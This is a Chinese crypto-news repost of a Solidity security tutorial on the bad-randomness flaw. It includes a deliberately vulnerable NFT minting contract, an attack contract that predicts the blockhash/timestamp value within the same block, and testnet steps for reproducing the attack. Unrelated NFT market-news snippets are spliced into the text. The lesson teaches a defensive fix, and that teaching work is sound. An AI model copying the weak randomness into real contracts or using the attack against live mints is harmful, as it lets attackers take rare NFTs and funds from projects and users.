链资讯 链资讯
Ctrl+D收藏链资讯

WTF Solidity 合约安全: S07. 坏随机数

作者:

时间:

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

NFT系列“哥布林”goblintown.wtf 交易额突破1亿美元:金色财经报道,据 NFTGo 最新数据显示,“哥布林”goblintown.wtf系列NFT交易额已突破1亿美元,本文撰写时达到1.0185亿美元,但由于地板价跌至0.665 ETH,其市值目前缩水至约3353万美元。[2022/12/29 22:13:11]

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

Web3开源大学WTF Academy获得Starkware资助,将合作开发ZK和Cairo开源教程:11月5日,据官方消息,Web3开源大学WTF Academy获得以太坊二层扩容方案Starkware的资助,将合作开发ZK和Cairo的中英文开源教程,为以太坊和Layer2培养更多开发者。据介绍,WTF Academy是一个Web3开源学院,提供免费开源Web3技术教程,目前WTF Solidity极简教程已经更新50讲。据此前消息,WTF Academy发布习题测试和链上技能认证模块,并已开启公测。[2022/11/5 12:19:54]

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

goblintown.wtf系列NFT24小时交易额为90.35万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6264万美元,在所有NFT项目总市值排名中位列第38;其24小时交易额为90.35万美元,跌幅达12.69%。截止发稿时,该系列NFT当前地板价为3ETH,涨幅为3.81%。[2022/6/13 4:21:22]

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

部署 BadRandomness 合约。

部署 Attack 合约。

将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

goblintown.wtf系列NFT24小时交易额为102.41万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6238万美元,在所有NFT项目总市值排名中位列第39;其24小时交易额为102.41万美元,跌幅达9.35%。截止发稿时,该系列NFT当前地板价为3.15ETH,跌幅为26.01%。[2022/6/12 4:19:11]

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

goblintown.wtf系列NFT 24小时交易额超700万美元,地板价接近6 ETH:6月1日消息,NFTGo.io数据显示,goblintown.wtf系列NFT 24小时交易额达727.46万美元,涨幅为165.55%。目前地板价达5.95 ETH,24小时涨幅为70.99%。[2022/6/1 3:56:44]

社区:Discord|微信群|官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

来源:bress

Bress

个人专栏

阅读更多

金色早8点

比推 Bitpush News

Foresight News

PANews

Delphi Digital

区块链骑士

深潮TechFlow

链捕手

区块律动BlockBeats

DeFi之道

标签:NBSNFTINTSINnbs币前景nft币未来价格还有上涨空间吗quint币合约地址SmurfsINU

火币APP下载热门资讯
ETH:如何识别不良加密资产和评估项目风险_MOONB

此前我们分析了由数据驱动的市场更新(DeFi 之道已编译)。结论是我们认为加密货币将继续在周期中被采用。市场并没有陷入长期衰退,也没有对公共区块链失去兴趣.

RAN:回顾熊市下资助(Grant)的生态系统及组件_WEB

贡献者:DAOctor @DAOrayaki 审核者:Shaun @DAOrayaki 原文:The Grants Ecosystem 在牛市中,我们有流动性挖矿(Yield Farming);在熊市中,我们有赠款挖矿(Grant Farming)。 赠款和赠款计划在加密领域或Web3中一直占有一席之地。

RAN:借 32 双慧眼望穿 Crypto 的 2023_web3币圈

2022 年已经步入了尾声。回看过去的这一年,币价持续走低,链上数据大幅缩水,FTX、三箭、Terra 等曾经叱咤风雨的巨无霸们也已轰然倒下,下行与坠落似乎成为了行业的“主旋律”.

BSP:2022年全球Web3区块链安全年报_无聊猿nft价格

2022年全年,Beosin EagleEye安全风险监控、预警与阻断平台共监测到Web3领域主要攻击事件超167起,因各类攻击造成的总损失达到了36亿384万美元.

WEB3.0:Web3与社交网络的未来(下)_ANT

对话者 Suji Yan  Mask Network founderLuke        Web3MQ co-founderjoshua&nb.

WEB:阿斯顿·马丁NFT首秀翻车:贱卖+减产组合拳挽救不了滞销局面_INFI

12月19日,Aston Martin NFT系列正式公开发售,价格约为50美元,但原计划发售的3000个NFT在12月23日的截止期前出现滞销,发行方开启魔幻操作,直接销毁了300个.